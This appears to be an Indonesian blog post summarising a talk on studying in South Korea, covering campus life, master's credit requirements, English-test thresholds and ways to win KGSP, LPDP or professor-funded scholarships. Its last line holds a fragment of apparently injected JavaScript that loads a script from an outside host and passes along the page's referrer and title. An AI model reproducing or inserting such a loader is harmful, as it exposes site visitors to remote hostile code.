Schotalk#1 Sahabat Beasiswa Chapter Bandung

Brace Yourself and Get Ready to Study in Korea

Mengenal kehidupan, organisasi, dan perkuliahan di Korea

 

IMG-20150901-WA0001

 

Pembicara     : Ersan Y.Muslih, M.Sc. Eng

  • Alumni Universitas Yeungnam, Korea Selatan
  • Peneliti di Laboratorium Nano dan Thin Film, Universitas Yeungnam

 

Hallo Mahasiswa Indonesia. Kali ini Sahabat Beasiswa Chapter Bandung membawa pemateri yang datang jauh dari negeri Ginseng. Penasaran kan ? yuk kita simak.

Korea. Negeri segudang K-Pop ini memiliki daya tarik tersendiri bagi penggemarnya. Nah, kali ini Sahabat Beasiswa Chapter Bandung akan mengulas tuntas tentang perkuliahan di Korea, plus plus dengan informasi kehidupan dan organisasi disana. Let’s check it out !

 

Tentang kehidupan di korea. Khususnya korea selatan, persoalan agama sangatlah bebas dan orang-orang disana sangat menghargai keberagaman agama walaupun mayoritas mereka adalah atheis. Bagi muslim dan pemeluk agama lainnya, keuntungan dari kondisi ini adalah bebasnya beribadah, tapi kerugiannya lumayan sulit mendapat makanan yang halal. Tapi jangan khawatir sobat, di Korsel sudah cukup banyak Warga Negara Indonesia yang tinggal disana, banyak kok perkumpulan atau paguyuban-paguyuban WNI. So, tidak akan merasa sendirian ya. hehe

 

Di kampus umumnya Bahasa yang dipakai adalah Bahasa inggris. Namun, kehidupan dikampus tetap menuntut kita bisa berbahasa Hangguko karena ga banyak orang korea yang bisa berbahasa Inggris. wah wah wah. Perkuliahan di Korea khususnya S2 wajib menyelesaikan tuntutan SKS plus wajib melakukan riset atau membantu professor untuk mengajar (kegiatan lain yang berhubungan dengan akademik). Untuk meraih gelar master ini, mahasiswa dituntut untuk menyelesaikan 24 sks kelas dan 6 sks riset. Mata kuliah disana pilihan lho. Artinya soal pemilihan mata kuliah menjadi wewenang mahasiswanya, terserah mata kuliah apa yang akan dipilih, sing penting tetap berhubungan dengan bidang yang digeluti dan sesuai ketentuan kampus. Jangan khawatir, kuliah di Korsel bisa gratis dengan beasiswa. Beberapa beasiswa yang available diantaranya Beasiswa Pemerintah Korea (KGSP), Beasiswa Pemerintah Indonesia (DIKTI,LPDP,dll), Beasiswa kampus ataupun bebasiswa Perusahaan/Yayasan Korea. Gimana ? Tertarik ?

Bagaimana mengetahui jurusan yang kita tuju tersedia atau tidak di Universitas di Korea?

Di website-website kampus banyak informasi tentang jurusan apa saja yang tersedia. Misalnya untuk website kampus Yeungnam, kampus tempat pemateri menimba ilmunya, buka saja YU.ac.kr à pilih menu Bahasa Inggris à Guidance atau admission. Nah disini terdapat komplit syarat-syarat apply dan jurusan-jurusan yang tersedia.

 

Bagaimana cara mendapatkan beasiswa di Korea ?

Diantara beberapa beasiswa yang telah disebutkan sebelumnya, mayoritas mahasiswa S2 di Korea mendapatkan beasiswa professor. Artinya penyandang dana dari beasiswa tersebut adalah professor di kampus yang bersangkutan di Korea. Untuk mendapatkannya, kita harus melamar beasiswa secara langsung kepada professor, bisa via mahasiswa Indonesia yang sudah ada disana atau langsung kirim email secara personal ke professornya. Perkenalkan diri kemudian alasan kenapa memilih beliau/laboratoriumnya/kampusnya dan jangan lupa lampirkan juga CV kalian ya. By the way, katanya nih beasiswa professor ini relatif lebih mudah dan sedikit saingan sehingga peluang mendapatkan beasiswa pun besar. Pandai-pandai saja meyakinkan hati sang Professor, ok !

 

Jalur lain adalah G2G, seperti halnya LPDP (Lembaga Pengelola Dana Pendidikan) dan KGSP (Korean Government Scholarship Program). Melalui jalur ini kita harus mengikuti seleksi dari lembaga tersebut dan bersaing dengan ratusan kandidat lainnya. Cukup menantang memang, tetapi syarat utama beasiswa ini biasanya kemampuan berbahasa Inggris yang dibuktikan dengan sertifikat TOEFL/TOEIC/IELTS. Perlu diketahui bahwa Korsel merupakan salah satu negara maju yang masih mau menerima sertifikat TOEIC dan TOEFL ITP. Biasanya syarat standarnya untuk TOEIC 700, TOEFL ITP 550 dan IELTS band 5.5-6.0. Oh iya, beasisswa seperti KGSP mewajibkan awardee nya untuk belajar Bahasa Korea selama 1 tahun, jadi total belajar selama 3 tahun disini.

 

Bagaimana caranya mendapatkan calon supervisor/professor kita di Korea ?

Seperti yang kita ketahui, seorang professor itu wajib memiliki publikasi di jurnal internasional. Temukanlah professor-professor yang riset dan kemampuannya sejalan dengan bidang kita melalui jurnal-jurnal tersebut. Temukan informasi detailnya dan hubungi.

 

Sekian. Semoga Bermanfaat. Salam.

So guys, are you ready to study in Korea ? Let’s prepare and take an action right now ! s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;